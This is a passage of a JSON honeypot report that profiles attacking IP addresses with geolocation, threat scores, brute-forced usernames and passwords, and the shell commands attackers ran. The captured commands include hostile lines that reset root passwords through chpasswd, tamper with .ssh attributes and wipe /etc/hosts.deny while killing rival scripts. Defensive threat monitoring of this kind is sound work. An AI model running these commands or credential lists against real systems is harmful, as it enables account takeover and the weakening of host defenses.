        "echo -e \"Voidsetdownload.so\\nJokNALDqamPK\\nJokNALDqamPK\"|passwd|bash",
        "echo -e \"kubeadmin\\nIRheT25uHxSN\\nIRheT25uHxSN\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Recife",
      "asn": 267588,
      "as_org": "MaxWeb Telecom",
      "threat_score": 31.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 344,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T20:45:14.832000+00:00",
        "last_seen_30d": "2026-05-26T21:14:57.612000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 292,
        "Suricata": 52
      }
    },
    "212.51.34.150": {
      "attack_count": 282,
      "first_seen": "2026-05-25T04:58:03.146Z",
      "last_seen": "2026-05-25T07:43:32.132Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "root",
        "cloud",
        "345gs5662d34",
        "curl",
        "chris",
        "jon",
        "q",
        "test01",
        "test1",
        "ts3",
        "ubuntu",
        "user3"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "Wangsu@2017",
        "fjbdfdjkdsfs541544@@",
        "fjbdfdjkdsfs541544AA@@",
        "welltech12",
        "123.com",
        "1234",
        "Cloud@123",
        "Lf123456",
        "Qq147258",
        "Qwe123321",
        "Qwerty123!@#",
        "Root123!",
        "Start123",
        "aA111111",
        "aa147258",
        "chris123",
        "fjbdfdjkdsfs541544"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Wangsu@2017\\nYGK69G2DGA7P\\nYGK69G2DGA7P\\n\"|passwd",
        "echo \"root:ZKjIlD9P7xsg\"|chpasswd|bash",
        "echo -e \"Wangsu@2017\\nYGK69G2DGA7P\\nYGK69G2DGA7P\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": "A Coru\u00f1a",
      "asn": 12334,
      "as_org": "R Cable y Telecable Telecomunicaciones, S.A.U.",
      "threat_score": 30.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 363,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T04:58:03.146000+00:00",
        "last_seen_30d": "2026-05-25T07:44:36.180000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 282,
        "Suricata": 81
      }
    },
    "20.243.161.151": {
      "attack_count": 207,
      "first_seen": "2026-05-25T09:57:57.100Z",
      "last_seen": "2026-05-25T10:50:16.268Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "cloud",
        "test",
        "curl",
        "icp",
        "luis",
        "tester",
        "vpn"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123123123",
        "1234",
        "8ik,9ol.",
        "Pa$$w0rd",
        "Wangsu@2017",
        "asdqwe123",
        "changeme",
        "fjbdfdjkdsfs541544@@",
        "fjbdfdjkdsfs541544AA@@",
        "icp",
        "masukaja",
        "qazwsx123",
        "vpnvpn",
        "welltech12"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Wangsu@2017\\nZQtAWMExeNWn\\nZQtAWMExeNWn\\n\"|passwd",
        "echo \"root:H4gDt1QsaVvJ\"|chpasswd|bash",
        "echo -e \"Wangsu@2017\\nZQtAWMExeNWn\\nZQtAWMExeNWn\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 29.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 250,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T09:57:57.100000+00:00",
        "last_seen_30d": "2026-05-25T10:51:19.432000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 207,
        "Suricata": 43
      }
    },
    "171.114.225.154": {
      "attack_count": 204,
      "first_seen": "2026-05-19T06:40:29.579Z",
      "last_seen": "2026-05-19T17:58:21.098Z",
      "sessions": 102,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 22.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 314,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T06:40:29.579000+00:00",
        "last_seen_30d": "2026-05-19T17:59:21.688000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 204,
        "Suricata": 110
      }
    },
    "129.226.213.238": {
      "attack_count": 187,
      "first_seen": "2026-05-24T08:05:27.908Z",
      "last_seen": "2026-05-24T08:42:05.732Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "tejas",
        "steam",
        "ts3server"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "111",
        "12345",
        "123456789@Ab",
        "1qaz@2wsx",
        "Jd@123456",
        "Tencent@123",
        "newpassword123",
        "qazQAZ123",
        "tejas@123",
        "test1234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:uvpffnwLWM5V\"|chpasswd|bash",
        "echo \"tejas@123\\nUu4YdmFqv3j8\\nUu4YdmFqv3j8\\n\"|passwd",
        "echo -e \"tejas@123\\nUu4YdmFqv3j8\\nUu4YdmFqv3j8\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 27.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 221,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T08:05:27.908000+00:00",
        "last_seen_30d": "2026-05-24T08:43:14.917000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 187,
        "Suricata": 34
      }
    },
    "193.201.186.194": {
      "attack_count": 176,
      "first_seen": "2026-05-02T19:33:08.804Z",
      "last_seen": "2026-05-02T19:55:34.894Z",
      "sessions": 88,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hungary",
      "country_code": "HU",
      "city": null,
      "asn": 62214,
      "as_org": "Rackforest Zrt.",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 328,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T19:33:08.804000+00:00",
        "last_seen_30d": "2026-05-02T19:56:39.706000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 176,
        "Suricata": 152
      }
    },
    "152.42.219.80": {
      "attack_count": 167,
      "first_seen": "2026-05-28T09:57:55.040Z",
      "last_seen": "2026-05-28T10:28:32.525Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "grafana",
        "easy",
        "jenkins",
        "max",
        "oracle",
        "test",
        "testuser",
        "vpn",
        "wireguard"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "0",
        "123123aA",
        "12345",
        "3141592654",
        "Ty112233",
        "a12345678",
        "abc",
        "admin",
        "easy",
        "fjbdfdjkdsfs541544",
        "grafana",
        "oracle#123",
        "qweASD123",
        "qwerty",
        "vps@2025",
        "wireguard123"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"grafana\\n3bYhkGggqoZ6\\n3bYhkGggqoZ6\\n\"|passwd",
        "echo -e \"grafana\\n3bYhkGggqoZ6\\n3bYhkGggqoZ6\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.log.closed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 32.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 213,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T09:57:55.040000+00:00",
        "last_seen_30d": "2026-05-28T10:29:38.560000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 167,
        "Suricata": 46
      }
    },
    "118.35.127.66": {
      "attack_count": 151,
      "first_seen": "2026-05-14T10:36:09.773Z",
      "last_seen": "2026-05-28T21:58:40.673Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "345gs5662d34",
        "administrador",
        "contact",
        "frappe",
        "mitra",
        "nfs",
        "oracle",
        "postgres",
        "test",
        "test1",
        "user"
      ],
      "passwords_attempted": [
        "12345678",
        "123qaz!@#",
        "147258",
        "3245gs5662d34",
        "345gs5662d34",
        "Asd123..",
        "Huawei12#$",
        "Nb123",
        "Oracle@2024",
        "Passw0rd",
        "Testtest1",
        "abc123",
        "contact",
        "fjbdfdjkdsfs541544",
        "frappe24",
        "india",
        "mitra",
        "nfs"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"fjbdfdjkdsfs541544\\nxpYwotpr2FEL\\nxpYwotpr2FEL\\n\"|passwd",
        "echo -e \"fjbdfdjkdsfs541544\\nxpYwotpr2FEL\\nxpYwotpr2FEL\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Dong-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 42.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 22.9,
        "persistence": 12.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 193,
        "days_active_30d": 15,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T10:36:09.773000+00:00",
        "last_seen_30d": "2026-05-28T21:59:42.131000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 151,
        "Suricata": 42
      }
    },
    "203.192.232.180": {
      "attack_count": 143,
      "first_seen": "2026-05-23T16:26:47.554Z",
      "last_seen": "2026-05-23T17:23:08.001Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "daniel",
        "345gs5662d34",
        "almacen",
        "ftptest",
        "sanjay",
        "sopuser",
        "ubuntu"
      ],
      "passwords_attempted": [
        "!QAZ2wsx#EDC4rfv",
        "1111",
        "1234",
        "123456!@",
        "123qwe!!!",
        "3245gs5662d34",
        "345gs5662d34",
        "Abc@12345678",
        "Bismillah@123",
        "Bx123456.",
        "Changeme_123",
        "aa",
        "abc.123456",
        "almacen",
        "poi",
        "sanjay",
        "test"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:ZM2ZjwBeVl2a\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Mumbai",
      "asn": 17665,
      "as_org": "ONEOTT INTERTAINMENT LIMITED",
      "threat_score": 26.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 185,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T16:26:47.554000+00:00",
        "last_seen_30d": "2026-05-23T17:24:14.620000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 143,
        "Suricata": 42
      }
    },
    "83.168.107.97": {
      "attack_count": 118,
      "first_seen": "2026-05-22T11:58:06.180Z",
      "last_seen": "2026-05-22T12:39:13.904Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "deploy",
        "dls",
        "frappe",
        "myuser",
        "omega",
        "sim"
      ],
      "passwords_attempted": [
        "1029",
        "12345",
        "22",
        "3245gs5662d34",
        "345gs5662d34",
        "Wu123456",
        "admin1234567",
        "deploy",
        "dls",
        "omega123",
        "sim",
        "test"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:t2uIfki0JOYe\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Poland",
      "country_code": "PL",
      "city": null,
      "asn": 202520,
      "as_org": "SkyPass Solutions Sp. z.o.o.",
      "threat_score": 24.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 149,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T11:58:06.180000+00:00",
        "last_seen_30d": "2026-05-22T12:40:19.175000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 31
      }
    },
    "82.153.246.240": {
      "attack_count": 114,
      "first_seen": "2026-05-05T02:44:57.563Z",
      "last_seen": "2026-05-31T14:30:32.132Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 60781,
      "as_org": "LeaseWeb Netherlands B.V.",
      "threat_score": 55.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.2,
        "persistence": 22.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 133,
        "days_active_30d": 27,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T02:44:57.563000+00:00",
        "last_seen_30d": "2026-05-31T14:31:40.030000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 76,
        "Suricata": 57
      }
    },
    "5.181.87.35": {
      "attack_count": 107,
      "first_seen": "2026-05-19T22:57:27.745Z",
      "last_seen": "2026-05-22T13:18:15.953Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [
        "root",
        "runner",
        "345gs5662d34",
        "aaa",
        "test"
      ],
      "passwords_attempted": [
        "123",
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "@dmin1234",
        "Test123",
        "marmitta",
        "monalisa"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"1234\\ny7Vytr8GZpoo\\ny7Vytr8GZpoo\\n\"|passwd",
        "echo -e \"1234\\ny7Vytr8GZpoo\\ny7Vytr8GZpoo\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": "Bursa",
      "asn": 47585,
      "as_org": "Yigit Hosting Bilisim E-Ticaret Gida Sanayi Ticaret Limited Sirketi",
      "threat_score": 26.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.1,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 162,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T22:57:27.745000+00:00",
        "last_seen_30d": "2026-05-22T13:39:54.385000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 107,
        "Suricata": 55
      }
    },
    "175.10.100.38": {
      "attack_count": 82,
      "first_seen": "2026-05-18T22:18:51.334Z",
      "last_seen": "2026-05-19T03:04:41.143Z",
      "sessions": 41,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 20.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.9,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 123,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T22:18:51.334000+00:00",
        "last_seen_30d": "2026-05-19T03:05:51.379000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 82,
        "Suricata": 41
      }
    },
    "31.42.190.77": {
      "attack_count": 78,
      "first_seen": "2026-05-03T04:43:37.773Z",
      "last_seen": "2026-05-31T09:29:20.370Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Dunayivtsi",
      "asn": 202302,
      "as_org": "NETH LLC",
      "threat_score": 55.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 19.6,
        "persistence": 24.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 91,
        "days_active_30d": 29,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T04:43:37.773000+00:00",
        "last_seen_30d": "2026-05-31T09:30:29.301000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 52,
        "Suricata": 39
      }
    },
    "34.62.248.198": {
      "attack_count": 73,
      "first_seen": "2026-05-22T08:29:07.242Z",
      "last_seen": "2026-05-22T08:29:59.364Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 6412",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 23.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 115,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T08:29:07.242000+00:00",
        "last_seen_30d": "2026-05-22T08:31:08.700000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 73,
        "Suricata": 42
      }
    },
    "207.148.77.87": {
      "attack_count": 70,
      "first_seen": "2026-05-04T08:54:07.748Z",
      "last_seen": "2026-05-04T09:56:17.604Z",
      "sessions": 35,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 20473,
      "as_org": "The Constant Company, LLC",
      "threat_score": 3.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
